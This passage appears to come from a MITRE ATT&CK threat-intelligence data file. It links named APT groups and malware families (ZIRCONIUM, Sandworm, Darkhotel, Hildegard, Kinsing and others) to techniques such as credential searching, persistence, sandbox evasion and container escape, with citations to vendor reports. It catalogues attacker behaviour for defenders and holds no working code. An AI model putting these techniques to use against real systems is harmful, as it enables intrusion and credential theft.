            "description": "[ZIRCONIUM](https://attack.mitre.org/groups/G0128) has created a Registry Run key named <code>Dropbox Update Setup</code> to establish persistence for a malicious Python binary.(Citation: Zscaler APT31 Covid-19 October 2020)",
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                }
            ],
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                    "description": "Singh, S. and Antil, S. (2020, October 27). APT-31 Leverages COVID-19 Vaccine Theme and Abuses Legitimate Online Services. Retrieved March 24, 2021."
                }
            ],
            "description": "[ZIRCONIUM](https://attack.mitre.org/groups/G0128) has used a tool to query the Registry for proxy settings.(Citation: Zscaler APT31 Covid-19 October 2020)",
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                    "description": "Singh, S. and Antil, S. (2020, October 27). APT-31 Leverages COVID-19 Vaccine Theme and Abuses Legitimate Online Services. Retrieved March 24, 2021."
                }
            ],
            "description": "[ZIRCONIUM](https://attack.mitre.org/groups/G0128) has used a tool to capture the time on a compromised host in order to register it with C2.(Citation: Zscaler APT31 Covid-19 October 2020)",
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                }
            ],
            "description": "[ZIRCONIUM](https://attack.mitre.org/groups/G0128) has used a tool to capture the processor architecture of a compromised host in order to register it with C2.(Citation: Zscaler APT31 Covid-19 October 2020)",
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            ],
            "description": "[ZIRCONIUM](https://attack.mitre.org/groups/G0128) has used AES encrypted communications in C2.(Citation: Zscaler APT31 Covid-19 October 2020)",
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            ],
            "description": "[ZIRCONIUM](https://attack.mitre.org/groups/G0128) has used a tool to capture the username on a compromised host in order to register it with C2.(Citation: Zscaler APT31 Covid-19 October 2020)",
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                    "description": "Singh, S. and Antil, S. (2020, October 27). APT-31 Leverages COVID-19 Vaccine Theme and Abuses Legitimate Online Services. Retrieved March 24, 2021."
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            ],
            "description": "[ZIRCONIUM](https://attack.mitre.org/groups/G0128) has used a tool to open a Windows Command Shell on a remote host.(Citation: Zscaler APT31 Covid-19 October 2020)",
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            ],
            "description": "[ZIRCONIUM](https://attack.mitre.org/groups/G0128) has exfiltrated files via the Dropbox API C2.(Citation: Zscaler APT31 Covid-19 October 2020)",
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                    "description": "Singh, S. and Antil, S. (2020, October 27). APT-31 Leverages COVID-19 Vaccine Theme and Abuses Legitimate Online Services. Retrieved March 24, 2021."
                }
            ],
            "description": "[ZIRCONIUM](https://attack.mitre.org/groups/G0128) has used tools to download malicious files to compromised hosts.(Citation: Zscaler APT31 Covid-19 October 2020)",
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                    "url": "https://research.checkpoint.com/2021/the-story-of-jian/",
                    "description": "Itkin, E. and Cohen, I. (2021, February 22). The Story of Jian \u2013 How APT31 Stole and Used an Unknown Equation Group 0-Day. Retrieved March 24, 2021."
                }
            ],
            "description": "[ZIRCONIUM](https://attack.mitre.org/groups/G0128) has used multi-stage packers for exploit code.(Citation: Check Point APT31 February 2021)",
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                }
            ],
            "description": "[ZIRCONIUM](https://attack.mitre.org/groups/G0128) has exploited CVE-2017-0005 for local privilege escalation.(Citation: Check Point APT31 February 2021)",
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                }
            ],
            "description": "[ZIRCONIUM](https://attack.mitre.org/groups/G0128) has used the AES256 algorithm with a SHA1 derived key to decrypt exploit code.(Citation: Check Point APT31 February 2021)",
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            "target_ref": "attack-pattern--132d5b37-aac5-4378-a8dc-3127b18a73dc",
            "external_references": [
                {
                    "source_name": "MSTIC NOBELIUM Mar 2021",
                    "url": "https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/",
                    "description": "Nafisi, R., Lelli, A. (2021, March 4). GoldMax, GoldFinder, and Sibot: Analyzing NOBELIUM\u2019s layered persistence. Retrieved March 8, 2021."
                }
            ],
            "description": "[GoldFinder](https://attack.mitre.org/software/S0597) performed HTTP GET requests to check internet connectivity and identify HTTP proxy servers and other redirectors that an HTTP request traveled through.(Citation: MSTIC NOBELIUM Mar 2021)",
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                }
            ],
            "description": "[GoldFinder](https://attack.mitre.org/software/S0597) has used HTTP for C2.(Citation: MSTIC NOBELIUM Mar 2021)",
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                    "description": "Cybereason Nocturnus. (2020, July 16). A BAZAR OF TRICKS: FOLLOWING TEAM9\u2019S DEVELOPMENT CYCLES. Retrieved November 18, 2020."
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                {
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                },
                {
                    "source_name": "Kubernetes API Control Access",
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                    "description": "The Kubernetes Authors. (n.d.). Controlling Access to The Kubernetes API. Retrieved March 29, 2021."
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                    "url": "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-005.pdf",
                    "description": "ANSSI. (2021, January 27). SANDWORM INTRUSION SET CAMPAIGN TARGETING CENTREON SYSTEMS. Retrieved March 30, 2021."
                }
            ],
            "description": "[Sandworm Team](https://attack.mitre.org/groups/G0034) has used webshells including [P.A.S. Webshell](https://attack.mitre.org/software/S0598) to maintain access to victim networks.(Citation: ANSSI Sandworm January 2021)",
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                    "description": "ANSSI. (2021, January 27). SANDWORM INTRUSION SET CAMPAIGN TARGETING CENTREON SYSTEMS. Retrieved March 30, 2021."
                }
            ],
            "description": "[Exaramel for Linux](https://attack.mitre.org/software/S0401) can decrypt its configuration file.(Citation: ANSSI Sandworm January 2021)",
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                    "description": "ANSSI. (2021, January 27). SANDWORM INTRUSION SET CAMPAIGN TARGETING CENTREON SYSTEMS. Retrieved March 30, 2021."
                }
            ],
            "description": "[Exaramel for Linux](https://attack.mitre.org/software/S0401) can uninstall its persistence mechanism and delete its configuration file.(Citation: ANSSI Sandworm January 2021)",
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            "external_references": [
                {
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                    "description": "ANSSI. (2021, January 27). SANDWORM INTRUSION SET CAMPAIGN TARGETING CENTREON SYSTEMS. Retrieved March 30, 2021."
                }
            ],
            "description": "[Exaramel for Linux](https://attack.mitre.org/software/S0401) can run <code>whoami</code> to identify the system owner.(Citation: ANSSI Sandworm January 2021)",
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                    "url": "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-005.pdf",
                    "description": "ANSSI. (2021, January 27). SANDWORM INTRUSION SET CAMPAIGN TARGETING CENTREON SYSTEMS. Retrieved March 30, 2021."
                }
            ],
            "description": "[Exaramel for Linux](https://attack.mitre.org/software/S0401) can attempt to find a new C2 server if it receives an error.(Citation: ANSSI Sandworm January 2021)",
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                    "description": "ANSSI. (2021, January 27). SANDWORM INTRUSION SET CAMPAIGN TARGETING CENTREON SYSTEMS. Retrieved March 30, 2021."
                }
            ],
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                    "description": "Del Fierro, C. Kessem, L.. (2020, January 8). From Mega to Giga: Cross-Version Comparison of Top MegaCortex Modifications. Retrieved February 15, 2021."
                }
            ],
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                    "description": "Del Fierro, C. Kessem, L.. (2020, January 8). From Mega to Giga: Cross-Version Comparison of Top MegaCortex Modifications. Retrieved February 15, 2021."
                }
            ],
            "description": "[MegaCortex](https://attack.mitre.org/software/S0576) can parse the available drives and directories to determine which files to encrypt.(Citation: IBM MegaCortex) ",
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                    "description": "Del Fierro, C. Kessem, L.. (2020, January 8). From Mega to Giga: Cross-Version Comparison of Top MegaCortex Modifications. Retrieved February 15, 2021."
                }
            ],
            "description": "[MegaCortex](https://attack.mitre.org/software/S0576) has used <code>.cmd</code> scripts on the victim's system.(Citation: IBM MegaCortex) ",
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                    "description": "Del Fierro, C. Kessem, L.. (2020, January 8). From Mega to Giga: Cross-Version Comparison of Top MegaCortex Modifications. Retrieved February 15, 2021."
                }
            ],
            "description": "[MegaCortex](https://attack.mitre.org/software/S0576) can stop and disable services on the system.(Citation: IBM MegaCortex) ",
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                    "description": "Amanda Steward. (2014). FireEye DLL Side-Loading: A Thorn in the Side of the Anti-Virus Industry. Retrieved March 13, 2020."
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                    "description": "Amanda Steward. (2014). FireEye DLL Side-Loading: A Thorn in the Side of the Anti-Virus Industry. Retrieved March 13, 2020."
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                    "url": "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-005.pdf",
                    "description": "ANSSI. (2021, January 27). SANDWORM INTRUSION SET CAMPAIGN TARGETING CENTREON SYSTEMS. Retrieved March 30, 2021."
                }
            ],
            "description": "[Exaramel for Linux](https://attack.mitre.org/software/S0401) can execute commands with high privileges via a specific binary with setuid functionality.(Citation: ANSSI Sandworm January 2021)",
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                {
                    "source_name": "wardle evilquest parti",
                    "url": "https://objective-see.com/blog/blog_0x59.html",
                    "description": "Patrick Wardle. (2020, June 29). OSX.EvilQuest Uncovered part i: infection, persistence, and more!. Retrieved March 18, 2021."
                }
            ],
            "description": "[ThiefQuest](https://attack.mitre.org/software/S0595) uses the <code>kill_unwanted</code> function to get a list of running processes, compares each process with an encrypted list of \u201cunwanted\u201d security related programs, and kills the processes for security related programs.(Citation: wardle evilquest parti)",
            "relationship_type": "uses",
            "id": "relationship--d236947c-849f-4f4f-9ee5-ab4b78d04ef6",
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            ],
            "source_ref": "malware--54895630-efd2-4608-9c24-319de972a9eb",
            "target_ref": "attack-pattern--c877e33f-1df6-40d6-b1e7-ce70f16f4979",
            "external_references": [
                {
                    "source_name": "FBI Ragnar Locker 2020",
                    "url": "https://assets.documentcloud.org/documents/20413525/fbi-flash-indicators-of-compromise-ragnar-locker-ransomware-11192020-bc.pdf",
                    "description": "FBI. (2020, November 19). Indicators of Compromise Associated with Ragnar Locker Ransomware. Retrieved April 1, 2021."
                }
            ],
            "description": "Before executing malicious code, [Ragnar Locker](https://attack.mitre.org/software/S0481) checks the Windows API <code>GetLocaleInfoW</code> and doesn't encrypt files if it finds a former Soviet country.(Citation: FBI Ragnar Locker 2020)",
            "relationship_type": "uses",
            "id": "relationship--93fdbd36-b577-44bd-b4db-6daadbef9cb2",
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            ],
            "source_ref": "malware--a8a778f5-0035-4870-bb25-53dc05029586",
            "target_ref": "attack-pattern--4bed873f-0b7d-41d4-b93a-b6905d1f90b0",
            "external_references": [
                {
                    "description": "Marschalek, M.. (2014, December 16). EvilBunny: Malware Instrumented By Lua. Retrieved June 28, 2019.",
                    "url": "https://web.archive.org/web/20150311013500/http://www.cyphort.com/evilbunny-malware-instrumented-lua/",
                    "source_name": "Cyphort EvilBunny Dec 2014"
                }
            ],
            "description": "[EvilBunny](https://attack.mitre.org/software/S0396) has used time measurements from 3 different APIs before and after performing sleep operations to check and abort if the malware is running in a sandbox.(Citation: Cyphort EvilBunny Dec 2014)",
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            "id": "relationship--b29637f2-49be-4785-b82b-09661f25c42c",
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            "target_ref": "attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670",
            "external_references": [
                {
                    "description": "Marschalek, M.. (2014, December 16). EvilBunny: Malware Instrumented By Lua. Retrieved June 28, 2019.",
                    "url": "https://web.archive.org/web/20150311013500/http://www.cyphort.com/evilbunny-malware-instrumented-lua/",
                    "source_name": "Cyphort EvilBunny Dec 2014"
                }
            ],
            "description": "[EvilBunny](https://attack.mitre.org/software/S0396) has used various API calls as part of its checks to see if the malware is running in a sandbox.(Citation: Cyphort EvilBunny Dec 2014)\t",
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            "relationship_type": "mitigates",
            "id": "relationship--68e1b510-a985-467a-b3b6-03d5493e9b59",
            "description": "Ensure operating systems and browsers are using the most current version. ",
            "type": "relationship",
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            "target_ref": "attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41",
            "external_references": [
                {
                    "source_name": "Microsoft DUBNIUM July 2016",
                    "url": "https://www.microsoft.com/security/blog/2016/07/14/reverse-engineering-dubnium-stage-2-payload-analysis/",
                    "description": "Microsoft. (2016, July 14). Reverse engineering DUBNIUM \u2013 Stage 2 payload analysis . Retrieved March 31, 2021."
                }
            ],
            "description": "[Darkhotel](https://attack.mitre.org/groups/G0012) has used AES-256 and 3DES for C2 communications.(Citation: Microsoft DUBNIUM July 2016)",
            "relationship_type": "uses",
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            "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18",
            "external_references": [
                {
                    "source_name": "Microsoft DUBNIUM July 2016",
                    "url": "https://www.microsoft.com/security/blog/2016/07/14/reverse-engineering-dubnium-stage-2-payload-analysis/",
                    "description": "Microsoft. (2016, July 14). Reverse engineering DUBNIUM \u2013 Stage 2 payload analysis . Retrieved March 31, 2021."
                }
            ],
            "description": "[Darkhotel](https://attack.mitre.org/groups/G0012) has used malware that searched for files with specific patterns.(Citation: Microsoft DUBNIUM July 2016)",
            "relationship_type": "uses",
            "id": "relationship--bfc84868-c168-4db4-be39-641cfab0619a",
            "type": "relationship",
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        {
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            ],
            "source_ref": "intrusion-set--9e729a7e-0dd6-4097-95bf-db8d64911383",
            "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add",
            "external_references": [
                {
                    "source_name": "Microsoft DUBNIUM June 2016",
                    "url": "https://www.microsoft.com/security/blog/2016/06/09/reverse-engineering-dubnium-2/",
                    "description": "Microsoft. (2016, June 9). Reverse-engineering DUBNIUM. Retrieved March 31, 2021."
                }
            ],
            "description": "[Darkhotel](https://attack.mitre.org/groups/G0012) has used first-stage payloads that download additional malware from C2 servers.(Citation: Microsoft DUBNIUM June 2016)",
            "relationship_type": "uses",
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        },
        {
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            ],
            "source_ref": "intrusion-set--9e729a7e-0dd6-4097-95bf-db8d64911383",
            "target_ref": "attack-pattern--be2dcee9-a7a7-4e38-afd6-21b31ecc3d63",
            "external_references": [
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                    "source_name": "Microsoft DUBNIUM June 2016",
                    "url": "https://www.microsoft.com/security/blog/2016/06/09/reverse-engineering-dubnium-2/",
                    "description": "Microsoft. (2016, June 9). Reverse-engineering DUBNIUM. Retrieved March 31, 2021."
                }
            ],
            "description": "[Darkhotel](https://attack.mitre.org/groups/G0012) has exploited Adobe Flash vulnerability CVE-2015-8651 for execution.(Citation: Microsoft DUBNIUM June 2016)",
            "relationship_type": "uses",
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        {
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                }
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                }
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                }
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                }
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            ],
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            "description": "The [Cobalt Strike](https://attack.mitre.org/software/S0154) System Profiler can use JavaScript to perform reconnaissance actions.(Citation: Talos Cobalt Strike September 2020)",
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            ],
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            ],
            "description": "[Cobalt Strike](https://attack.mitre.org/software/S0154) can hash functions to obfuscate calls to the Windows API.(Citation: Talos Cobalt Strike September 2020)",
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            ],
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                }
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            ],
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                }
            ],
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                    "url": "https://cdn-cybersecurity.att.com/docs/global-perspective-of-the-sidewinder-apt.pdf",
                    "description": "Hegel, T. (2021, January 13). A Global Perspective of the SideWinder APT. Retrieved January 27, 2021."
                },
                {
                    "source_name": "Rewterz Sidewinder APT April 2020",
                    "url": "https://www.rewterz.com/threats/sidewinder-apt-group-campaign-analysis",
                    "description": "Rewertz. (2020, April 20). Sidewinder APT Group Campaign Analysis. Retrieved January 29, 2021."
                },
                {
                    "source_name": "Rewterz Sidewinder COVID-19 June 2020",
                    "url": "https://www.rewterz.com/articles/analysis-on-sidewinder-apt-group-covid-19",
                    "description": "Rewterz. (2020, June 22). Analysis on Sidewinder APT Group \u2013 COVID-19. Retrieved January 29, 2021."
                },
                {
                    "source_name": "Cyble Sidewinder September 2020",
                    "url": "https://cybleinc.com/2020/09/26/sidewinder-apt-targets-with-futuristic-tactics-and-techniques/",
                    "description": "Cyble. (2020, September 26). SideWinder APT Targets with futuristic Tactics and Techniques. Retrieved January 29, 2021."
                }
            ],
            "description": "[Sidewinder](https://attack.mitre.org/groups/G0121) has lured targets to click on malicious links to gain execution in the target environment.(Citation: ATT Sidewinder January 2021)(Citation: Rewterz Sidewinder APT April 2020)(Citation: Rewterz Sidewinder COVID-19 June 2020)(Citation: Cyble Sidewinder September 2020)",
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            "target_ref": "attack-pattern--cd25c1b4-935c-4f0e-ba8d-552f28bc4783",
            "external_references": [
                {
                    "source_name": "Unit 42 Hildegard Malware",
                    "url": "https://unit42.paloaltonetworks.com/hildegard-malware-teamtnt/",
                    "description": "Chen, J. et al. (2021, February 3). Hildegard: New TeamTNT Cryptojacking Malware Targeting Kubernetes. Retrieved April 5, 2021."
                }
            ],
            "description": "[Hildegard](https://attack.mitre.org/software/S0601) has used xmrig to mine cryptocurrency.(Citation: Unit 42 Hildegard Malware)",
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            "target_ref": "attack-pattern--4061e78c-1284-44b4-9116-73e4ac3912f7",
            "external_references": [
                {
                    "source_name": "Unit 42 Hildegard Malware",
                    "url": "https://unit42.paloaltonetworks.com/hildegard-malware-teamtnt/",
                    "description": "Chen, J. et al. (2021, February 3). Hildegard: New TeamTNT Cryptojacking Malware Targeting Kubernetes. Retrieved April 5, 2021."
                }
            ],
            "description": "[Hildegard](https://attack.mitre.org/software/S0601) has established tmate sessions for C2 communications.(Citation: Unit 42 Hildegard Malware)",
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            "id": "relationship--a0084acb-4ede-4dac-af86-857d5f381dac",
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            "target_ref": "attack-pattern--633a100c-b2c9-41bf-9be5-905c1b16c825",
            "external_references": [
                {
                    "source_name": "Unit 42 Hildegard Malware",
                    "url": "https://unit42.paloaltonetworks.com/hildegard-malware-teamtnt/",
                    "description": "Chen, J. et al. (2021, February 3). Hildegard: New TeamTNT Cryptojacking Malware Targeting Kubernetes. Retrieved April 5, 2021."
                }
            ],
            "description": "[Hildegard](https://attack.mitre.org/software/S0601) has modified /etc/ld.so.preload to intercept shared library import functions.(Citation: Unit 42 Hildegard Malware)",
            "relationship_type": "uses",
            "id": "relationship--4a607e33-3970-4605-af5e-36be82bd142a",
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            "target_ref": "attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2",
            "external_references": [
                {
                    "source_name": "Unit 42 Hildegard Malware",
                    "url": "https://unit42.paloaltonetworks.com/hildegard-malware-teamtnt/",
                    "description": "Chen, J. et al. (2021, February 3). Hildegard: New TeamTNT Cryptojacking Malware Targeting Kubernetes. Retrieved April 5, 2021."
                }
            ],
            "description": "[Hildegard](https://attack.mitre.org/software/S0601) has disguised itself as a known Linux process.(Citation: Unit 42 Hildegard Malware)",
            "relationship_type": "uses",
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            "target_ref": "attack-pattern--7b50a1d3-4ca7-45d1-989d-a6503f04bfe1",
            "external_references": [
                {
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                    "url": "https://unit42.paloaltonetworks.com/hildegard-malware-teamtnt/",
                    "description": "Chen, J. et al. (2021, February 3). Hildegard: New TeamTNT Cryptojacking Malware Targeting Kubernetes. Retrieved April 5, 2021."
                }
            ],
            "description": "[Hildegard](https://attack.mitre.org/software/S0601) was executed through the kubelet API run command and by executing commands on running containers.(Citation: Unit 42 Hildegard Malware)",
            "relationship_type": "uses",
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            "type": "relationship",
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            "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c",
            "external_references": [
                {
                    "source_name": "Unit 42 Hildegard Malware",
                    "url": "https://unit42.paloaltonetworks.com/hildegard-malware-teamtnt/",
                    "description": "Chen, J. et al. (2021, February 3). Hildegard: New TeamTNT Cryptojacking Malware Targeting Kubernetes. Retrieved April 5, 2021."
                }
            ],
            "description": "[Hildegard](https://attack.mitre.org/software/S0601) has decrypted ELF files with AES.(Citation: Unit 42 Hildegard Malware)",
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            "target_ref": "attack-pattern--19bf235b-8620-4997-b5b4-94e0659ed7c3",
            "external_references": [
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                    "url": "https://unit42.paloaltonetworks.com/hildegard-malware-teamtnt/",
                    "description": "Chen, J. et al. (2021, February 3). Hildegard: New TeamTNT Cryptojacking Malware Targeting Kubernetes. Retrieved April 5, 2021."
                }
            ],
            "description": "[Hildegard](https://attack.mitre.org/software/S0601) has queried the Cloud Instance Metadata API for cloud credentials.(Citation: Unit 42 Hildegard Malware)",
            "relationship_type": "uses",
            "id": "relationship--ced41648-7201-4eb8-aaae-c376e05af519",
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            "target_ref": "attack-pattern--0470e792-32f8-46b0-a351-652bc35e9336",
            "external_references": [
                {
                    "source_name": "Unit 42 Hildegard Malware",
                    "url": "https://unit42.paloaltonetworks.com/hildegard-malware-teamtnt/",
                    "description": "Chen, J. et al. (2021, February 3). Hildegard: New TeamTNT Cryptojacking Malware Targeting Kubernetes. Retrieved April 5, 2021."
                }
            ],
            "description": "[Hildegard](https://attack.mitre.org/software/S0601) has used masscan to search for kubelets and the kubelet API for additional running containers.(Citation: Unit 42 Hildegard Malware) ",
            "relationship_type": "uses",
            "id": "relationship--457ee5f7-ec8f-4990-bfe0-8cf0a6e70b1f",
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            "external_references": [
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                    "url": "https://unit42.paloaltonetworks.com/hildegard-malware-teamtnt/",
                    "description": "Chen, J. et al. (2021, February 3). Hildegard: New TeamTNT Cryptojacking Malware Targeting Kubernetes. Retrieved April 5, 2021."
                }
            ],
            "description": "[Hildegard](https://attack.mitre.org/software/S0601) has deleted scripts after execution.(Citation: Unit 42 Hildegard Malware) ",
            "relationship_type": "uses",
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            "external_references": [
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                    "source_name": "Unit 42 Hildegard Malware",
                    "url": "https://unit42.paloaltonetworks.com/hildegard-malware-teamtnt/",
                    "description": "Chen, J. et al. (2021, February 3). Hildegard: New TeamTNT Cryptojacking Malware Targeting Kubernetes. Retrieved April 5, 2021."
                }
            ],
            "description": "[Hildegard](https://attack.mitre.org/software/S0601) has used shell scripts for execution.(Citation: Unit 42 Hildegard Malware)",
            "relationship_type": "uses",
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            "target_ref": "attack-pattern--deb98323-e13f-4b0c-8d94-175379069062",
            "external_references": [
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                    "url": "https://unit42.paloaltonetworks.com/hildegard-malware-teamtnt/",
                    "description": "Chen, J. et al. (2021, February 3). Hildegard: New TeamTNT Cryptojacking Malware Targeting Kubernetes. Retrieved April 5, 2021."
                }
            ],
            "description": "[Hildegard](https://attack.mitre.org/software/S0601) has packed ELF files into other binaries.(Citation: Unit 42 Hildegard Malware)",
            "relationship_type": "uses",
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            ],
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            "target_ref": "attack-pattern--10d51417-ee35-4589-b1ff-b6df1c334e8d",
            "external_references": [
                {
                    "source_name": "Unit 42 Hildegard Malware",
                    "url": "https://unit42.paloaltonetworks.com/hildegard-malware-teamtnt/",
                    "description": "Chen, J. et al. (2021, February 3). Hildegard: New TeamTNT Cryptojacking Malware Targeting Kubernetes. Retrieved April 5, 2021."
                }
            ],
            "description": "[Hildegard](https://attack.mitre.org/software/S0601) was executed through an unsecure kubelet that allowed anonymous access to the victim environment.(Citation: Unit 42 Hildegard Malware)",
            "relationship_type": "uses",
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            "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1",
            "external_references": [
                {
                    "source_name": "Unit 42 Hildegard Malware",
                    "url": "https://unit42.paloaltonetworks.com/hildegard-malware-teamtnt/",
                    "description": "Chen, J. et al. (2021, February 3). Hildegard: New TeamTNT Cryptojacking Malware Targeting Kubernetes. Retrieved April 5, 2021."
                }
            ],
            "description": "[Hildegard](https://attack.mitre.org/software/S0601) has collected the host's OS, CPU, and memory information.(Citation: Unit 42 Hildegard Malware)",
            "relationship_type": "uses",
            "id": "relationship--810630f3-01fb-416d-992c-3f5a0390d962",
            "type": "relationship",
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            "target_ref": "attack-pattern--837f9164-50af-4ac0-8219-379d8a74cefc",
            "external_references": [
                {
                    "source_name": "Unit 42 Hildegard Malware",
                    "url": "https://unit42.paloaltonetworks.com/hildegard-malware-teamtnt/",
                    "description": "Chen, J. et al. (2021, February 3). Hildegard: New TeamTNT Cryptojacking Malware Targeting Kubernetes. Retrieved April 5, 2021."
                }
            ],
            "description": "[Hildegard](https://attack.mitre.org/software/S0601) has searched for SSH keys, Docker credentials, and Kubernetes service tokens.(Citation: Unit 42 Hildegard Malware)",
            "relationship_type": "uses",
            "id": "relationship--50a1a87a-31cf-4a98-96f6-276f35798185",
            "type": "relationship",
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        {
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            "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6",
            "external_references": [
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                    "source_name": "Unit 42 Hildegard Malware",
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                    "description": "Chen, J. et al. (2021, February 3). Hildegard: New TeamTNT Cryptojacking Malware Targeting Kubernetes. Retrieved April 5, 2021."
                }
            ],
            "description": "[Hildegard](https://attack.mitre.org/software/S0601) has used an IRC channel for C2 communications.(Citation: Unit 42 Hildegard Malware)",
            "relationship_type": "uses",
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            "type": "relationship",
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        },
        {
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            ],
            "source_ref": "malware--40a1b8ec-7295-416c-a6b1-68181d86f120",
            "target_ref": "attack-pattern--ac08589e-ee59-4935-8667-d845e38fe579",
            "external_references": [
                {
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                    "url": "https://unit42.paloaltonetworks.com/hildegard-malware-teamtnt/",
                    "description": "Chen, J. et al. (2021, February 3). Hildegard: New TeamTNT Cryptojacking Malware Targeting Kubernetes. Retrieved April 5, 2021."
                }
            ],
            "description": "[Hildegard](https://attack.mitre.org/software/S0601) has modified DNS resolvers to evade DNS monitoring tools.(Citation: Unit 42 Hildegard Malware)",
            "relationship_type": "uses",
            "id": "relationship--78b67e57-dba8-4dc5-b7c8-1ab9dfa9efe4",
            "type": "relationship",
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        },
        {
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            "object_marking_refs": [
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            ],
            "source_ref": "malware--40a1b8ec-7295-416c-a6b1-68181d86f120",
            "target_ref": "attack-pattern--4a5b7ade-8bb5-4853-84ed-23f262002665",
            "external_references": [
                {
                    "source_name": "Unit 42 Hildegard Malware",
                    "url": "https://unit42.paloaltonetworks.com/hildegard-malware-teamtnt/",
                    "description": "Chen, J. et al. (2021, February 3). Hildegard: New TeamTNT Cryptojacking Malware Targeting Kubernetes. Retrieved April 5, 2021."
                }
            ],
            "description": "[Hildegard](https://attack.mitre.org/software/S0601) has used the BOtB tool that can break out of containers. (Citation: Unit 42 Hildegard Malware) ",
            "relationship_type": "uses",
            "id": "relationship--f47bdd6d-d8d4-450f-b6ff-30da690621b3",
            "type": "relationship",
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            "source_ref": "malware--40a1b8ec-7295-416c-a6b1-68181d86f120",
            "target_ref": "attack-pattern--b21c3b2d-02e6-45b1-980b-e69051040839",
            "external_references": [
                {
                    "source_name": "Unit 42 Hildegard Malware",
                    "url": "https://unit42.paloaltonetworks.com/hildegard-malware-teamtnt/",
                    "description": "Chen, J. et al. (2021, February 3). Hildegard: New TeamTNT Cryptojacking Malware Targeting Kubernetes. Retrieved April 5, 2021."
                }
            ],
            "description": "[Hildegard](https://attack.mitre.org/software/S0601) has used the BOtB tool which exploits CVE-2019-5736.(Citation: Unit 42 Hildegard Malware) ",
            "relationship_type": "uses",
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            "type": "relationship",
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            ],
            "source_ref": "intrusion-set--3fc023b2-c5cc-481d-9c3e-70141ae1a87e",
            "target_ref": "attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2",
            "external_references": [
                {
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                    "url": "https://www.rewterz.com/articles/analysis-on-sidewinder-apt-group-covid-19",
                    "description": "Rewterz. (2020, June 22). Analysis on Sidewinder APT Group \u2013 COVID-19. Retrieved January 29, 2021."
                }
            ],
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                }
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                }
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            "description": "[Kinsing](https://attack.mitre.org/software/S0599) has used valid SSH credentials to access remote hosts.(Citation: Aqua Kinsing April 2020)",
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                }
            ],
            "description": "[Kinsing](https://attack.mitre.org/software/S0599) has searched for private keys.(Citation: Aqua Kinsing April 2020)",
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                }
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                    "description": "Fishbein, N., Kajiloti, M.. (2020, July 28). Watch Your Containers: Doki Infecting Docker Servers in the Cloud. Retrieved March 30, 2021."
                }
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                }
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            "source_ref": "malware--40a1b8ec-7295-416c-a6b1-68181d86f120",
            "target_ref": "attack-pattern--635cbe30-392d-4e27-978e-66774357c762",
            "external_references": [
                {
                    "source_name": "Unit 42 Hildegard Malware",
                    "url": "https://unit42.paloaltonetworks.com/hildegard-malware-teamtnt/",
                    "description": "Chen, J. et al. (2021, February 3). Hildegard: New TeamTNT Cryptojacking Malware Targeting Kubernetes. Retrieved April 5, 2021."
                }
            ],
            "description": "[Hildegard](https://attack.mitre.org/software/S0601) has created a user named \u201cmonerodaemon\u201d.(Citation: Unit 42 Hildegard Malware)",
            "relationship_type": "uses",
            "id": "relationship--c832fb66-57f5-40cb-94aa-ad788a4aad39",
            "type": "relationship",
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        },
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            "target_ref": "attack-pattern--830c9528-df21-472c-8c14-a036bf17d665",
            "external_references": [
                {
                    "source_name": "Unit 42 Hildegard Malware",
                    "url": "https://unit42.paloaltonetworks.com/hildegard-malware-teamtnt/",
                    "description": "Chen, J. et al. (2021, February 3). Hildegard: New TeamTNT Cryptojacking Malware Targeting Kubernetes. Retrieved April 5, 2021."
                }
            ],
            "description": "[Hildegard](https://attack.mitre.org/software/S0601) has downloaded scripts from GitHub.(Citation: Unit 42 Hildegard Malware)",
            "relationship_type": "uses",
            "id": "relationship--81fcae09-a738-4922-9553-aad21e2b940b",
            "type": "relationship",
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            "target_ref": "attack-pattern--0f20e3cb-245b-4a61-8a91-2d93f7cb0e9b",
            "external_references": [
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                    "url": "https://unit42.paloaltonetworks.com/hildegard-malware-teamtnt/",
                    "description": "Chen, J. et al. (2021, February 3). Hildegard: New TeamTNT Cryptojacking Malware Targeting Kubernetes. Retrieved April 5, 2021."
                }
            ],
            "description": "[Hildegard](https://attack.mitre.org/software/S0601) has modified /etc/ld.so.preload to overwrite readdir() and readdir64().(Citation: Unit 42 Hildegard Malware)",
            "relationship_type": "uses",
            "id": "relationship--8f5fdbbc-73b1-48a6-9916-67c0baa0f66e",
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            "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add",
            "external_references": [
                {
                    "source_name": "Unit 42 Hildegard Malware",
                    "url": "https://unit42.paloaltonetworks.com/hildegard-malware-teamtnt/",
                    "description": "Chen, J. et al. (2021, February 3). Hildegard: New TeamTNT Cryptojacking Malware Targeting Kubernetes. Retrieved April 5, 2021."
                }
            ],
            "description": "[Hildegard](https://attack.mitre.org/software/S0601) has downloaded additional scripts that build and run Monero cryptocurrency miners.(Citation: Unit 42 Hildegard Malware)",
            "relationship_type": "uses",
            "id": "relationship--cdd9ae58-bed9-4cce-ad46-d4e96a789ded",
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            ],
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            "target_ref": "attack-pattern--60b508a1-6a5e-46b1-821a-9f7b78752abf",
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                    "source_name": "Unit 42 Hildegard Malware",
                    "url": "https://unit42.paloaltonetworks.com/hildegard-malware-teamtnt/",
                    "description": "Chen, J. et al. (2021, February 3). Hildegard: New TeamTNT Cryptojacking Malware Targeting Kubernetes. Retrieved April 5, 2021."
                }
            ],
            "description": "[Hildegard](https://attack.mitre.org/software/S0601) has searched for private keys in .ssh.(Citation: Unit 42 Hildegard Malware)",
            "relationship_type": "uses",
            "id": "relationship--2c50e260-05dd-4bb3-9d75-5a84e2757fa7",
            "type": "relationship",
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            ],
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            "target_ref": "attack-pattern--3aef9463-9a7a-43ba-8957-a867e07c1e6a",
            "external_references": [
                {
